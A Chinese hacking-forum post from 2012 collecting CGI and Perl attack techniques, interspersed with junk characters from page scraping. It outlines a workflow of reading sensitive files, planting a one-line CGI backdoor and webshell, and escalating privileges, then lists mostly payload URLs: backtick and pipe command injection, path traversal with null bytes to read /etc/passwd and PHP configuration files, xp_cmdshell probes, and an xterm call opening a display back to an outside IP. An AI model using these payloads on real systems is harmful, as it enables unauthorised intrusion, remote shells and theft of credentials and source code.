找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2715|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
. m: q3 \* h; q3 N2 u. U1 a! tcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
$ |8 F  {* q3 `* D+ b3 H感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  # }; Y9 \( R4 X  D3 v# M6 Q0 O
注“  
7 X3 T# |4 u9 l: yperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
3 {/ U2 p7 C2 {. m" {以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  . ]) J( u9 {. l8 O* h/ F. ?$ g$ H

7 d2 X( E( \/ g8 r8 j0 R4 ihttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  : p! S4 M3 O" C% \$ O
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  6 o/ O4 C8 S* ?* L8 [
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  $ K# W& U4 E3 x+ U. I4 R
http://target.com/cgi-bin/home/news/sub.pl?`id`  " F9 Y9 @4 T' o; f) s
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  & h3 L) F' `5 [
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
+ r. k4 [1 C& n5 G' U5 ~- w% O4 p+ A1 z$ ]* L, @' `
http://target.com/test.pl;ls|  2 g* z' o, V1 Z3 `$ O8 l4 U  }
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
  d2 @1 `" Q5 O- c4 s& [9 `http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
  s1 G; q8 r- T5 jhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  8 i- s- v4 m# j4 d# w1 A, M
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
: R: T# p- s& J2 Vhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
) g% z+ |, T* Z2 @4 u% c: U( c; N. d8 P5 }
http://target.com/test.pl?&........ /../../etc/passwd  . k" V# y7 s- a9 n% a. r) q

, J3 ^. G- G" \& G* M) O% khttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
7 r5 M8 x7 c6 y% n/ r! G, ~http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
  K; |* ]  t7 u+ ehttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  : p: x5 x' K3 n* p! G7 S6 t  K- P
* x0 _: A& `" V, S
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
2 R/ {: k: ~$ U. @http://www.target.org/show.php?f ... ng/admin/global.php  
2 w$ Y& s* H6 ~( h
$ Q, S2 w2 V& _! n" R$ lemm和ps的一句话
& [# K, X5 W' W7 `
. [& P5 v+ l: T. B$ i; chttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  ; o* g. r8 _/ ]' x0 X: S
- k% Z' S- f$ ]! V
>bbb%20|  
4 r6 D) w; |* [6 T1 M! a0 E
' c! P4 x8 e% r# ^' q; g7 \http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
+ F5 X: g. ]1 c+ g" |6 c3 m) v5 P" |5 g
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
0 v9 q+ v( w( @) v! Thttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  % Y' a- w3 n3 f: U* }
' F. m# T4 m3 Q, F+ T. w1 E
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  4 [8 _% M  w2 g1 b% J
http://target.com/index.html#cmd.exe  
( H( T  \5 U& Qhttp://target.com/index.html?dummyparam=xp_cmdshell  
" i3 }4 N' j/ V0 Rlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
: h3 m9 X: i- y& F; ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表